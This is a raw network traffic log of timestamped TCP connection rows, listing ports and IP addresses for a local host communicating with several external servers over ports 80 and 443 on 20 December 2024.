Dec 20, 2024 09:12:52.394465923 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.394515991 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.394557953 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.395432949 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.395510912 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.395558119 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.396362066 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.396413088 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.396508932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.396548033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.397492886 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.397532940 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.397569895 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.397610903 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.398271084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.398330927 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.398365974 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.398413897 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.399190903 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.399240017 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.399265051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.399316072 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.400202990 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.400268078 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.400311947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.400351048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.401114941 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.401290894 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.401328087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.401366949 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.402066946 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.402159929 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.402203083 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.403002977 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.403043032 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.403085947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.403125048 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.403933048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.403973103 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.404046059 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.404084921 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.404906988 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.405019045 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.405045033 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.405057907 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.405864000 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.405913115 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.405956030 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.405992031 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.406807899 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.406860113 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.406867981 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.406907082 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.407763004 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.407856941 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.407892942 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.407929897 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.408751965 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.408790112 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.408973932 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.409008026 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.409650087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.409693003 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.409732103 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.409888029 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.410618067 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.410660982 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.410778999 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.410825968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.411591053 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.411633968 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.411660910 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.411700010 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.412507057 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.412552118 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.412738085 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.412839890 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.413470984 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.413527966 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.413583994 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.413744926 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.414414883 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.414460897 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.414520025 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.414560080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.415394068 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.415420055 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.415437937 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.415452003 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.416335106 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.416384935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.416677952 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.416723013 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.417284012 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.417330980 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.417381048 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.417526007 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.418297052 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.418313980 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.418349981 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.418374062 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.419184923 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.419231892 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.419413090 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.419456959 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.420113087 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.420156956 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.420216084 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.420437098 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.421077967 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.421197891 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.421238899 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.422018051 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.422044039 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.422055006 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.422080994 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.422977924 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.423018932 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.423147917 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.423222065 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.423932076 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.423989058 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.424032927 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.424164057 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.424868107 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.424912930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.424973011 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.425014019 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.425822020 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.425864935 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.425894976 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.425935030 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.426729918 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.426774979 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.427097082 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.427140951 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.427674055 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.427716970 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.427763939 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.427803993 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.428615093 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.428787947 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.428798914 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.428838015 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.429553986 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.429600954 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.449641943 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:52.491363049 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:52.572098017 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.572165012 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.572173119 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.572215080 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.572525024 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.572582006 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:52.572624922 CET	80	49874	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:52.572665930 CET	49874	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:53.397078037 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:53.397301912 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:53.397361040 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:53.397384882 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:53.397432089 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:53.397468090 CET	443	49880	20.233.83.145	192.168.2.4
Dec 20, 2024 09:12:53.397540092 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:53.412045956 CET	49880	443	192.168.2.4	20.233.83.145
Dec 20, 2024 09:12:53.554825068 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:53.554855108 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:53.554971933 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:53.555305004 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:53.555324078 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:54.776945114 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:54.777060032 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:54.810775995 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:54.810797930 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:54.811861038 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:54.813556910 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:54.859369040 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:54.922408104 CET	49868	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:54.922732115 CET	49893	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:55.042278051 CET	80	49893	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:55.042686939 CET	80	49868	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:55.042793989 CET	49868	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:55.042793989 CET	49893	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:55.044688940 CET	49893	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:55.164496899 CET	80	49893	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:55.297255993 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.297415018 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.297478914 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.297489882 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.297537088 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.298239946 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.305680037 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.315722942 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.315808058 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.315850019 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.315862894 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.315927029 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.324244022 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.332480907 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.332575083 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.332601070 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.397819996 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.417763948 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.489703894 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.489877939 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.489906073 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.493371010 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.493462086 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.493472099 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.508893013 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.508971930 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.508981943 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.516554117 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.516608000 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.516617060 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.524524927 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.524641037 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.524661064 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.524672031 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.524808884 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.532298088 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.540622950 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.540689945 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.540704012 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.547629118 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.547688961 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.547698021 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.555443048 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.555512905 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.555522919 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.567284107 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.567399979 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.567447901 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.567457914 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.567506075 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.573340893 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.579309940 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.579406977 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.579416037 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706410885 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706439972 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706461906 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706482887 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.706512928 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706542015 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.706549883 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706551075 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.706576109 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706603050 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.706610918 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706630945 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.706634998 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.706784010 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.730931044 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.730956078 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.730973005 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.730990887 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.731008053 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.731018066 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.731029034 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.731041908 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.731066942 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.731084108 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.731084108 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.731084108 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.731376886 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.759402990 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.759439945 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.759480953 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.759483099 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.759504080 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.759505033 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.759541988 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.759548903 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.759567022 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.759584904 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.874319077 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.874382019 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.874442101 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.874478102 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.874495983 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.877134085 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.894227982 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.894259930 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.894299984 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.894309044 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.894323111 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.897455931 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.913717031 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.913769007 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.913810968 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.913817883 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.913832903 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.913856983 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.930131912 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.930176973 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.930217028 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.930226088 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.930258036 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.930277109 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.950407028 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.950469971 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.950511932 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.950531006 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.950546980 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.950578928 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.966784954 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.966833115 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.966861963 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.966871977 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.966898918 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.966921091 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.986625910 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.986675024 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.986702919 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.986711979 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:55.986726046 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:55.986761093 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.075566053 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.075619936 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.075686932 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.075761080 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.075813055 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.075813055 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.090038061 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.090090036 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.090120077 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.090137959 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.090168953 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.090178967 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.102346897 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.102395058 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.102418900 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.102433920 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.102454901 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.102471113 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.112776041 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.112823009 CET	443	49889	185.199.110.133	192.168.2.4
Dec 20, 2024 09:12:56.112893105 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.112924099 CET	49889	443	192.168.2.4	185.199.110.133
Dec 20, 2024 09:12:56.112937927 CET	443	49889	185.199.110.133	192.168.2.4
